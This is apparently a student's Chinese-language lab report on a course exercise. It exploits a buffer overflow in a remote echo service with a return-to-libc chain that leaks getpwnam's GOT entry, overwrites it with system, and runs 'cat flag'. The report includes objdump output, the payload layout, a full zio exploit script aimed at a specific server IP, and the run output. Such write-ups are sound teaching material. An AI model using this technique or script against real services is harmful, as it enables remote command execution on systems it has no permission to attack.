缓冲区溢出攻击

计64 翁家翌 2016011446

2018.1.1

实验目的

利用远程服务器上*recho.c*的**recv_line(buf)**函数缓冲区溢出的漏洞，使用`return to libc`技术绕过ASLR（地址空间分布随机化）和DEP（数据执行保护，堆栈不可执行）防护，获取远程服务器中的flag文件的内容。

实验过程

大致思路是利用现有的gadget进行拼装，将libc现成的`getpwnam`函数的GOT的表项改为`system`的GOT表项，然后就能通过调用`getpwnam`函数来执行命令。

第三方交互库选取

使用zio进行交互：`sudo pip2 install zio`，使用前`from zio import *`即可。

获取recho中的函数地址

使用命令：`objdump -D recho|grep "sendstr\|recv\_line\|getpwnam"`

结果如下：

```
08048640 <getpwnam@plt>:
080489e6 <recv_line>:
08048acf <sendstr>:
```

可以得知：`getpwnam_plt`位于`0x8048640`，`recv_line`函数位于`0x80489e6`，`sendstr`函数位于`0x8048acf`。

为了获取`getpwnam`函数的GOT表项地址，使用命令`objdump -D recho|grep "8048640"`查看，可以看到：

```
08048640 <getpwnam@plt>:
 8048640:    ff 25 08 a2 04 08        jmp    *0x804a208
```

于是可以得知`getpwnam_got`位于`0x804a208`。

获取组件

`bss`为全局变量存储的位置，可以用来存储shellcode，脚本中以变量`cmd`代替；并且使用`pop+ret`组合能够清空栈中的参数。

使用命令`objdump -x recho|grep "bss"`可以得到

```
 24 .bss          0000000c  0804a280  0804a280  0000127c  2**3
0804a280 l    d  .bss    00000000              .bss
```

可知bss的地址为`0x804a280`。

使用命令`objdump -d recho|grep "pop\|ret"`可以得到

```
 8048615:    5b                      pop    %ebx
 8048616:    c3                      ret
 80487f2:    5e                      pop    %esi
 8048823:    c3                      ret
 8048859:    f3 c3                   repz ret
 8048893:    f3 c3                   repz ret
 80488bc:    f3 c3                   repz ret
 80489e5:    c3                      ret
 8048a60:    c3                      ret
 8048ace:    c3                      ret
 8048af3:    c3                      ret
 8048b4b:    c3                      ret
 8048e0c:    c3                      ret
 8048e68:    5b                      pop    %ebx
 8048e69:    5e                      pop    %esi
 8048e6a:    5f                      pop    %edi
 8048e6b:    5d                      pop    %ebp
 8048e6c:    c3                      ret
 8048e70:    f3 c3                   repz ret
 8048e86:    5b                      pop    %ebx
 8048e87:    c3                      ret
```

注意到有两处地方`0x8048615`和`0x8048e86`都符合需求，pop命令和ret命令相邻，随便选一个即可。

获取libc中的函数地址

使用命令`objdump -T libc.so.6 |grep "system\|getpwnam"`查看，得到：

```
000af060 g    DF .text   0000014e  GLIBC_2.0   getpwnam
0003ada0  w   DF .text   00000037  GLIBC_2.0   system
```

可知`getpwnam`在libc中的相对位置为`0xaf060`，`system`在libc中的相对位置为`0x3ada0`。

缓冲区溢出进行覆盖

查看handle函数反汇编的相关信息，如下所示：

```
08048af4 <handle>:
 8048af4:    55                      push   %ebp
 8048af5:    89 e5                   mov    %esp,%ebp
 8048af7:    81 ec 08 01 00 00       sub    $0x108,%esp
 8048afd:    83 ec 04                sub    $0x4,%esp
 8048b00:    68 00 01 00 00          push   $0x100
 8048b05:    6a 00                   push   $0x0
 8048b07:    8d 85 f8 fe ff ff       lea    -0x108(%ebp),%eax
 8048b0d:    50                      push   %eax
 8048b0e:    e8 3d fc ff ff          call   8048750 <memset@plt>
...
```

分析可知buf的地址与ebp相差`0x108`，也即264。于是向要发送的payload填充268个字节，覆盖掉ebp指向的地址，接下来的字符就能够填充handle的ret了。

构造函数

1. `payload += sendstr + popret + getpwnam_got`：让`sendstr`函数覆盖掉原先`handle`的ret地址，将`getpwnam_got`的地址放置于+8位置，利用`pop/ret`清空栈中的参数，让esp指向下一函数地址，即2中的`recv_line`。作用就是执行命令`sendstr(getpwnam_got)`，将远程服务器中的动态地址发送至本地。
2. `payload += recv_line + popret + getpwnam_got`：作用为执行命令`recv_line(getpwnam_got)`，本地使用已经获得的`libc`中这两个函数的地址，计算出远程服务器上`system`函数的地址值之后，重写远程服务器的`getpwnam_got`地址值为该`system`值。
3. `payload += recv_line + popret + cmd`：作用为远程服务器接收本地发送的`cmd`。
4. `payload += getpwnam_plt + popret + cmd`：作用为让远程服务器使用`system`命令执行`cmd`中的内容，由于`getpwnam_got`的值在步骤2已经被修改为`system`函数的值，因此执行`getpwnam_plt`的时候去查询GOT表项，会返回`system`的地址，因此就能够让远程服务器执行`cmd`。

实施攻击

```
host=('202.112.51.151',1234)
p=zio(host)
p.readline() # 接收welcome那一行
payload='a'*268\ # 溢出
    +sendstr+popret+getpwnam_got\
    +recv_line+popret+getpwnam_got\
    +recv_line+popret+cmd\
    +getpwnam_plt+popret+cmd # 构造需要执行的函数
p.write(payload+'\0\n') # 发送至远程服务器
p.read(len(payload)) # 接收服务器返回的一模一样的文本
system_addr=l32(p.read(4))-getpwnam_libc+system_libc # 接收第一个函数返回的地址值，计算远程服务器recho中的system函数地址
p.write(l32(system_addr)+'\n') # 发送该地址给第二个函数
p.write('cat flag\n') # 发送命令给第三个函数
p.readline() # 接收第四个函数返回的文本
```

完整脚本见`try.py`。

实验结果

使用命令`python try.py`即可运行，结果如下：

```
n+e:~/hw/ns/exp5 python try.py
'Welcome to Remote *ECHO* Service!\n'
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcf\x8a\x04\x08\x86\x8e\x04\x08\x08\xa2\x04\x08\xe
6\x89\x04\x08\x86\x8e\x04\x08\x08\xa2\x04\x08\xe6\x89\x04\x08\x86\x8e\x04\x08\x8
0\xa2\x04\x08@\x86\x04\x08\x86\x8e\x04\x08\x80\xa2\x04\x08\x00\n'
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcf\x8a\x04\x08\x86\x8e\x04\x08\x08\xa2\x04\x08\xe
6\x89\x04\x08\x86\x8e\x04\x08\x08\xa2\x04\x08\xe6\x89\x04\x08\x86\x8e\x04\x08\x8
0\xa2\x04\x08@\x86\x04\x08\x86\x8e\x04\x08\x80\xa2\x04\x08'
'`\xc0]\xf7\x901`\xf7f\x86\x04\x08 \x8eU\xf7\xd02`\xf7'
'\xa0}V\xf7\n'
'cat flag\n'
'32065-20465-27388-27188-15334\n'
```

绿色为服务器发送至本地的数据，蓝色为本地发送至服务器的数据。

flag为`32065-20465-27388-27188-15334`